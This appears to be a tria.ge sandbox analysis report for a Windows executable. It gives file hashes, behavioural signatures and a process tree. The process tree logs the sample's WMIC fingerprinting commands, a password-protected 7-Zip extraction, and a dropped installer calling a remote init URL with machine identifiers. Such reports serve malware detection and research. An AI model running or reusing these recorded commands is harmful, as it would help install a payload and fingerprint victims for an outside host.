Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
25/12/2023, 05:06
Static task
static1
Behavioral task
behavioral1
Sample
06c927c3e1421cd7600ed656526e23e4.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
06c927c3e1421cd7600ed656526e23e4.exe
Resource
win10v2004-20231215-en
General
-
Target
06c927c3e1421cd7600ed656526e23e4.exe
-
Size
403KB
-
MD5
06c927c3e1421cd7600ed656526e23e4
-
SHA1
857dfe61d3663ab43cfcaed21df1d2c515174de9
-
SHA256
2359ae1ca0eca3db26b61ad6652bca4b8e1d87daa42d5d4664fc3840ac78cacc
-
SHA512
463dad0cc6de6de44266043d8cefcf5fed94c570f6316468da3b8dadb8115bbbc8a437fde2f00dfbadb0396f399d45f12e1a542df39a5c1df4d92be9a40c9842
-
SSDEEP
12288:9A0i50G+7BsOx5UBkHY2lvNKltnVPZGEvvacEQ:9AfyGnQUBIYqlEZjvicP
Malware Config
Signatures
-
Executes dropped EXE 2 IoCs
pid Process 2512 7za.exe 1104 setupcl.exe -
Loads dropped DLL 8 IoCs
pid Process 3028 06c927c3e1421cd7600ed656526e23e4.exe 3028 06c927c3e1421cd7600ed656526e23e4.exe 3028 06c927c3e1421cd7600ed656526e23e4.exe 3028 06c927c3e1421cd7600ed656526e23e4.exe 3028 06c927c3e1421cd7600ed656526e23e4.exe 3028 06c927c3e1421cd7600ed656526e23e4.exe 3028 06c927c3e1421cd7600ed656526e23e4.exe 3028 06c927c3e1421cd7600ed656526e23e4.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2400 WMIC.exe Token: SeSecurityPrivilege 2400 WMIC.exe Token: SeTakeOwnershipPrivilege 2400 WMIC.exe Token: SeLoadDriverPrivilege 2400 WMIC.exe Token: SeSystemProfilePrivilege 2400 WMIC.exe Token: SeSystemtimePrivilege 2400 WMIC.exe Token: SeProfSingleProcessPrivilege 2400 WMIC.exe Token: SeIncBasePriorityPrivilege 2400 WMIC.exe Token: SeCreatePagefilePrivilege 2400 WMIC.exe Token: SeBackupPrivilege 2400 WMIC.exe Token: SeRestorePrivilege 2400 WMIC.exe Token: SeShutdownPrivilege 2400 WMIC.exe Token: SeDebugPrivilege 2400 WMIC.exe Token: SeSystemEnvironmentPrivilege 2400 WMIC.exe Token: SeRemoteShutdownPrivilege 2400 WMIC.exe Token: SeUndockPrivilege 2400 WMIC.exe Token: SeManageVolumePrivilege 2400 WMIC.exe Token: 33 2400 WMIC.exe Token: 34 2400 WMIC.exe Token: 35 2400 WMIC.exe Token: SeIncreaseQuotaPrivilege 2400 WMIC.exe Token: SeSecurityPrivilege 2400 WMIC.exe Token: SeTakeOwnershipPrivilege 2400 WMIC.exe Token: SeLoadDriverPrivilege 2400 WMIC.exe Token: SeSystemProfilePrivilege 2400 WMIC.exe Token: SeSystemtimePrivilege 2400 WMIC.exe Token: SeProfSingleProcessPrivilege 2400 WMIC.exe Token: SeIncBasePriorityPrivilege 2400 WMIC.exe Token: SeCreatePagefilePrivilege 2400 WMIC.exe Token: SeBackupPrivilege 2400 WMIC.exe Token: SeRestorePrivilege 2400 WMIC.exe Token: SeShutdownPrivilege 2400 WMIC.exe Token: SeDebugPrivilege 2400 WMIC.exe Token: SeSystemEnvironmentPrivilege 2400 WMIC.exe Token: SeRemoteShutdownPrivilege 2400 WMIC.exe Token: SeUndockPrivilege 2400 WMIC.exe Token: SeManageVolumePrivilege 2400 WMIC.exe Token: 33 2400 WMIC.exe Token: 34 2400 WMIC.exe Token: 35 2400 WMIC.exe Token: SeIncreaseQuotaPrivilege 2692 WMIC.exe Token: SeSecurityPrivilege 2692 WMIC.exe Token: SeTakeOwnershipPrivilege 2692 WMIC.exe Token: SeLoadDriverPrivilege 2692 WMIC.exe Token: SeSystemProfilePrivilege 2692 WMIC.exe Token: SeSystemtimePrivilege 2692 WMIC.exe Token: SeProfSingleProcessPrivilege 2692 WMIC.exe Token: SeIncBasePriorityPrivilege 2692 WMIC.exe Token: SeCreatePagefilePrivilege 2692 WMIC.exe Token: SeBackupPrivilege 2692 WMIC.exe Token: SeRestorePrivilege 2692 WMIC.exe Token: SeShutdownPrivilege 2692 WMIC.exe Token: SeDebugPrivilege 2692 WMIC.exe Token: SeSystemEnvironmentPrivilege 2692 WMIC.exe Token: SeRemoteShutdownPrivilege 2692 WMIC.exe Token: SeUndockPrivilege 2692 WMIC.exe Token: SeManageVolumePrivilege 2692 WMIC.exe Token: 33 2692 WMIC.exe Token: 34 2692 WMIC.exe Token: 35 2692 WMIC.exe Token: SeIncreaseQuotaPrivilege 2692 WMIC.exe Token: SeSecurityPrivilege 2692 WMIC.exe Token: SeTakeOwnershipPrivilege 2692 WMIC.exe Token: SeLoadDriverPrivilege 2692 WMIC.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1104 setupcl.exe 1104 setupcl.exe -
Suspicious use of WriteProcessMemory 31 IoCs
description pid Process procid_target PID 3028 wrote to memory of 2400 3028 06c927c3e1421cd7600ed656526e23e4.exe 18 PID 3028 wrote to memory of 2400 3028 06c927c3e1421cd7600ed656526e23e4.exe 18 PID 3028 wrote to memory of 2400 3028 06c927c3e1421cd7600ed656526e23e4.exe 18 PID 3028 wrote to memory of 2400 3028 06c927c3e1421cd7600ed656526e23e4.exe 18 PID 3028 wrote to memory of 2692 3028 06c927c3e1421cd7600ed656526e23e4.exe 21 PID 3028 wrote to memory of 2692 3028 06c927c3e1421cd7600ed656526e23e4.exe 21 PID 3028 wrote to memory of 2692 3028 06c927c3e1421cd7600ed656526e23e4.exe 21 PID 3028 wrote to memory of 2692 3028 06c927c3e1421cd7600ed656526e23e4.exe 21 PID 3028 wrote to memory of 3052 3028 06c927c3e1421cd7600ed656526e23e4.exe 34 PID 3028 wrote to memory of 3052 3028 06c927c3e1421cd7600ed656526e23e4.exe 34 PID 3028 wrote to memory of 3052 3028 06c927c3e1421cd7600ed656526e23e4.exe 34 PID 3028 wrote to memory of 3052 3028 06c927c3e1421cd7600ed656526e23e4.exe 34 PID 3028 wrote to memory of 2952 3028 06c927c3e1421cd7600ed656526e23e4.exe 33 PID 3028 wrote to memory of 2952 3028 06c927c3e1421cd7600ed656526e23e4.exe 33 PID 3028 wrote to memory of 2952 3028 06c927c3e1421cd7600ed656526e23e4.exe 33 PID 3028 wrote to memory of 2952 3028 06c927c3e1421cd7600ed656526e23e4.exe 33 PID 3028 wrote to memory of 2512 3028 06c927c3e1421cd7600ed656526e23e4.exe 29 PID 3028 wrote to memory of 2512 3028 06c927c3e1421cd7600ed656526e23e4.exe 29 PID 3028 wrote to memory of 2512 3028 06c927c3e1421cd7600ed656526e23e4.exe 29 PID 3028 wrote to memory of 2512 3028 06c927c3e1421cd7600ed656526e23e4.exe 29 PID 3028 wrote to memory of 1104 3028 06c927c3e1421cd7600ed656526e23e4.exe 32 PID 3028 wrote to memory of 1104 3028 06c927c3e1421cd7600ed656526e23e4.exe 32 PID 3028 wrote to memory of 1104 3028 06c927c3e1421cd7600ed656526e23e4.exe 32 PID 3028 wrote to memory of 1104 3028 06c927c3e1421cd7600ed656526e23e4.exe 32 PID 3028 wrote to memory of 1104 3028 06c927c3e1421cd7600ed656526e23e4.exe 32 PID 3028 wrote to memory of 1104 3028 06c927c3e1421cd7600ed656526e23e4.exe 32 PID 3028 wrote to memory of 1104 3028 06c927c3e1421cd7600ed656526e23e4.exe 32 PID 1104 wrote to memory of 1612 1104 setupcl.exe 31 PID 1104 wrote to memory of 1612 1104 setupcl.exe 31 PID 1104 wrote to memory of 1612 1104 setupcl.exe 31 PID 1104 wrote to memory of 1612 1104 setupcl.exe 31
Processes
-
C:\Users\Admin\AppData\Local\Temp\06c927c3e1421cd7600ed656526e23e4.exe"C:\Users\Admin\AppData\Local\Temp\06c927c3e1421cd7600ed656526e23e4.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3028 -
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC csproduct Get UUID /FORMAT:textvaluelist.xsl2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2400
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2692
-
-
C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\7za.exe7za.exe e -y -p"62ab703ad4bb0ac6c150c8121a5a9ada" [RANDOM_STRING].7z2⤵
- Executes dropped EXE
PID:2512
-
-
C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\setupcl.exe"C:\Users\Admin\AppData\Local\Temp\nso7D0.tmp\setupcl.exe" /initurl http://sub.ecocka.info/init/06c927c3e1421cd7600ed656526e23e4/:uid:? /affid "-" /id "0" /name " " /uniqid 06c927c3e1421cd7600ed656526e23e4 /uuid 00000000-0000-0000-0000-000000000000 /biosserial /biosversion ROCKS - 1 /csname Standard PC (Q35 + ICH9, 2009)2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1104
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC csproduct Get Name /FORMAT:textvaluelist.xsl2⤵PID:2952
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exeWMIC bios Get Version /FORMAT:textvaluelist.xsl2⤵PID:3052
-
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic bios get serialnumber, version1⤵PID:1612
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
381KB
MD5c05252cf82fa42a594c12e9805087789
SHA1c9d904cf43a32501202611e65d398e39b8bc492f
SHA2567dd366d0215a64b8823bba22ec2ec6335b0427bfb34ee76fd4f95e6d822c77a2
SHA51244d52dee87d9c457afe30b85d187b2f294a3cc6ecfd0f14fc096dc32912c0ba148ed1ab22a211eb97ebbd76c82e512cedd03287301a09e6158498169da42cd77
-
Filesize
93KB
MD53e5dddeb617455a0bf8e1634d9b75b31
SHA1ff6d79b3a5d00a234b132570b8bcbe8db93da9de
SHA256f875921639da64e93948c4e3ee197835e413ec18ea76def2d99b01edb0a23a22
SHA512a9ab59f6396fb980cf0788d983ecccbad3e8de9d2ecfbe5c3b6191c790de88c1ecf4c65fdc8bfd3620d33d93c956aba42d0a0c3e8d53b21c0381d5f8456c4d5e
-
Filesize
80KB
MD54de7a732253f40bb14e952b1982e4fc6
SHA1ac294e2e0f54eaecef43715e844a97acf1f88d6a
SHA25696e5b1d7ee6b01ff35203546cf2b89e6138987df8897dae98cab6270fa5a845f
SHA5120e91c7422522da614744370e606012aadcc1d67b171180ec930305ac6c70f775ea825ace159417e5c91e395afd10d55abbd213879ec1196cfe5511ba9d8b375c
-
Filesize
193KB
MD510bd2af1b07ec6bc9cd17ba512569e59
SHA1807e17ab1b98177e135d30941b45081960d1e866
SHA2569c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c
SHA512deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed
-
Filesize
92KB
MD5d443a70c5fbadd5cb5472cbc3894078f
SHA110068fe26e3271337e8ee99c14dc168711765379
SHA2564dda24624042ecfe303e2c3556c981f67e8f0a4f6d21f673f12fa2baeef84c0a
SHA51233396f3d0cb91fabaac854032ba8c3319cf27ad4e27ee7bc2005dc15242d3b05c2003863d1796ed7279930326d78665e47c72fc3443fb9ed463ea4bfc55ceef5
-
Filesize
92KB
MD5c3d879e6aa379bef396b044edba45620
SHA1b2bf1627119b3e256a288b860540ca65851589a7
SHA256cd3522174334f836af2ef913d55837059113d2ef35dd7c72d7f7c736f85add71
SHA512ff03b1530eeb1da666e623485fc8d8096688d031a892cc380ba62e15953934bb248e59bdd20429313b687d6e04e81d9bfb732a41ff6f27c1ca7ba80af18bcd4f
-
Filesize
8KB
MD5b8be6632a7dc8136ff01338be40fe701
SHA1043fa16929b2af5ed5c1c59b4035a10cf765fb43
SHA256289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085
SHA512403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8